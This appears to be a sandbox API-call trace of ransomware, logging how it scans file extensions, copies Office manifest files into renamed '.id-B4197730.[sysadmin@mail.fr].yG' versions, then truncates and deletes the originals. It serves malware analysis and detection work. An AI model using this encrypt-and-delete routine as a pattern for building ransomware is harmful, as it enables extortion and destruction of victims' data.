	[0049.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0049.054] lstrlenW (lpString=".jpg") returned 4
	[0049.054] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0049.054] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.054] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53
	[0049.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0049.055] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=387356) returned 1
	[0049.055] CloseHandle (hObject=0x348) returned 1
	[0049.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0049.055] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.055] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0049.056] GetLastError () returned 0x0
	[0049.056] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x5e91c, lpOverlapped=0x0) returned 1
	[0049.787] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5e920, lpOverlapped=0x0) returned 1
	[0049.792] ReadFile (in: hFile=0x348, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.792] WriteFile (in: hFile=0x2e4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.792] SetEndOfFile (hFile=0x2e4) returned 1
	[0049.792] CloseHandle (hObject=0x2e4) returned 1
	[0049.799] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.799] SetEndOfFile (hFile=0x348) returned 1
	[0049.802] CloseHandle (hObject=0x348) returned 1
	[0049.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1
	[0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.803] lstrlenW (lpString=".doc") returned 4
	[0049.803] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString=".docx") returned 5
	[0049.803] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.803] lstrlenW (lpString=".pdf") returned 4
	[0049.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString=".xls") returned 4
	[0049.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString=".xlsx") returned 5
	[0049.803] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.803] lstrlenW (lpString=".ppt") returned 4
	[0049.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.803] lstrlenW (lpString=".zip") returned 4
	[0049.803] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.803] lstrlenW (lpString=".rar") returned 4
	[0049.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString=".bz2") returned 4
	[0049.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.803] lstrlenW (lpString=".7z") returned 3
	[0049.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".dbf") returned 4
	[0049.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".1cd") returned 4
	[0049.804] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".jpg") returned 4
	[0049.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".doc") returned 4
	[0049.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString=".docx") returned 5
	[0049.804] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.804] lstrlenW (lpString=".pdf") returned 4
	[0049.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString=".xls") returned 4
	[0049.804] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString=".xlsx") returned 5
	[0049.804] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.804] lstrlenW (lpString=".ppt") returned 4
	[0049.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".zip") returned 4
	[0049.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.804] lstrlenW (lpString=".rar") returned 4
	[0049.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString=".bz2") returned 4
	[0049.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.804] lstrlenW (lpString=".7z") returned 3
	[0049.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.804] lstrlenW (lpString=".dbf") returned 4
	[0049.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.805] lstrlenW (lpString=".1cd") returned 4
	[0049.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104
	[0049.805] lstrlenW (lpString=".jpg") returned 4
	[0049.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.805] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0049.805] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53
	[0049.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0049.816] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=763363) returned 1
	[0049.816] CloseHandle (hObject=0x38c) returned 1
	[0049.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0049.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0049.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0049.817] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.817] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0049.819] GetLastError () returned 0x0
	[0049.819] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xba5e3, lpOverlapped=0x0) returned 1
	[0049.911] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xba5f0, lpOverlapped=0x0) returned 1
	[0049.921] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0049.922] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0049.922] SetEndOfFile (hFile=0x2fc) returned 1
	[0049.922] CloseHandle (hObject=0x2fc) returned 1
	[0049.934] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0049.934] SetEndOfFile (hFile=0x2e4) returned 1
	[0049.939] CloseHandle (hObject=0x2e4) returned 1
	[0049.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0049.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.940] lstrlenW (lpString=".doc") returned 4
	[0049.940] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString=".docx") returned 5
	[0049.940] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.940] lstrlenW (lpString=".pdf") returned 4
	[0049.940] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString=".xls") returned 4
	[0049.940] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString=".xlsx") returned 5
	[0049.940] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0049.940] lstrlenW (lpString=".ppt") returned 4
	[0049.940] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.940] lstrlenW (lpString=".zip") returned 4
	[0049.940] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0049.940] lstrlenW (lpString=".rar") returned 4
	[0049.940] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString=".bz2") returned 4
	[0049.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0049.940] lstrlenW (lpString=".7z") returned 3
	[0049.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.941] lstrlenW (lpString=".dbf") returned 4
	[0049.941] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.941] lstrlenW (lpString=".1cd") returned 4
	[0049.941] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.941] lstrlenW (lpString=".jpg") returned 4
	[0049.941] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0049.941] lstrlenW (lpString=".doc") returned 4
	[0049.941] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0049.941] lstrlenW (lpString=".docx") returned 5
	[0049.941] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0049.941] lstrlenW (lpString=".pdf") returned 4
	[0049.941] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.573] lstrlenW (lpString=".xls") returned 4
	[0050.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.573] lstrlenW (lpString=".xlsx") returned 5
	[0050.573] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.573] lstrlenW (lpString=".ppt") returned 4
	[0050.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0050.573] lstrlenW (lpString=".zip") returned 4
	[0050.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.573] lstrlenW (lpString=".rar") returned 4
	[0050.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.573] lstrlenW (lpString=".bz2") returned 4
	[0050.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.574] lstrlenW (lpString=".7z") returned 3
	[0050.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0050.574] lstrlenW (lpString=".dbf") returned 4
	[0050.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0050.574] lstrlenW (lpString=".1cd") returned 4
	[0050.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0050.574] lstrlenW (lpString=".jpg") returned 4
	[0050.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.574] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.574] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53
	[0050.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0050.574] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1261) returned 1
	[0050.574] CloseHandle (hObject=0x2fc) returned 1
	[0050.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0050.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0050.575] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.575] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0050.575] GetLastError () returned 0x0
	[0050.575] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0050.644] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0050.645] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.645] WriteFile (in: hFile=0x35c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.645] SetEndOfFile (hFile=0x35c) returned 1
	[0050.646] CloseHandle (hObject=0x35c) returned 1
	[0050.646] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.646] SetEndOfFile (hFile=0x2fc) returned 1
	[0050.647] CloseHandle (hObject=0x2fc) returned 1
	[0050.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString=".doc") returned 4
	[0050.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString=".docx") returned 5
	[0050.769] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.769] lstrlenW (lpString=".pdf") returned 4
	[0050.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString=".xls") returned 4
	[0050.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString=".xlsx") returned 5
	[0050.769] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.769] lstrlenW (lpString=".ppt") returned 4
	[0050.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString=".zip") returned 4
	[0050.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.769] lstrlenW (lpString=".rar") returned 4
	[0050.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString=".bz2") returned 4
	[0050.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString=".7z") returned 3
	[0050.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString=".dbf") returned 4
	[0050.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString=".1cd") returned 4
	[0050.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.769] lstrlenW (lpString=".jpg") returned 4
	[0050.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
